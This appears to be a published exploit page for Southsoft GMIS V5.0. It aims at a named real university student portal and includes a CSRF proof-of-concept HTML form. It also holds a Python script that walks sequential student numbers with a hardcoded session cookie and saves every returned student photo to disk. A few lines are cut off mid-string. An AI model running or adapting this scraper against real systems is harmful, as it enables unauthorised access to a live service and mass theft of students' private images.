caiteli Add files via upload History

1 contributor

68 lines (58 sloc) | 3.36 KB

```
# Exploit Title: Southsoft GMIS Cross-Site Request Forgery (CSRF)
# Date: 20.07.2021
# Exploit Author: caiteli
# Vendor Homepage: http://www.southsoft.com.cn/
# Version: V5.0
# Tested on: Windows 10 and Kali

#Description
Southsoft GMIS is vulnerable to CSRF attacks. Attackers can access other users' private information such as photos through CSRF.

#Steps to reproduce the attack:
1-Login as a normal user
2-Record information in web page URL features . For example, the home page URL is
http://gmis.lzjtu.edu.cn/gmis/(S(Signature code))/student/default/index, Record signature code and student number
3-Modify the signature code and student number into the attached CSRF malicious file and open it (CSRF_POC.html), the characteristic code is filled in [1], and the student number i

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://gmis.lzjtu.edu.cn/gmis/(S([1]))/student/grgl/PotoImageShow/">
      <input type="hidden" name="bh" value="[2]" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4-You can access anyone's picture information by changing the value in [2] Or use crawler technology to get everyone's pictures

#Exp
import os
import  requests

class payload:
    def __init__(self):
        self.start_url = 'http://gmis.lzjtu.edu.cn/gmis/(S(quow4hoa4fp4hwhtzexklhd2))/student/grgl/PotoImageShow'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36',
            'Cookie' : 'zg_did={"did": "1747628ea196-03fd7fe641f137-5a472316-fa000-1747628ea1a29b"}; zg_={"sid": 1599710226978,"updated": 1599710226985,"info": 1599710226982,"super
        }
        self.page_num = 100
        self.page_stnum = 12201671
        self.folder_path = 'C:\\Users\\ctl\\Desktop'

    def get_page_url(self):
        n = self.page_stnum + self.page_num
        while self.page_stnum < n:
            print(self.start_url + '/?bh={}'.format(self.page_stnum))
            yield self.start_url + '/?bh={}'.format(self.page_stnum)
            self.page_stnum += 1

    def get_page(self):
        gu = self.get_page_url()
        for url in gu:
            url = requests.get(url,headers=self.headers)
            name = str(self.page_stnum - self.page_num)
            self.page_num -= 1
            self.save_img(url,name+'.jpg')

    def save_img(self, re, name):
        os.chdir(self.folder_path)
        img = re
        f = open(name, 'ab')
        f.write(img.content)
        f.close()

if __name__ == '__main__':
    p = payload()
    payload.get_page(p)
```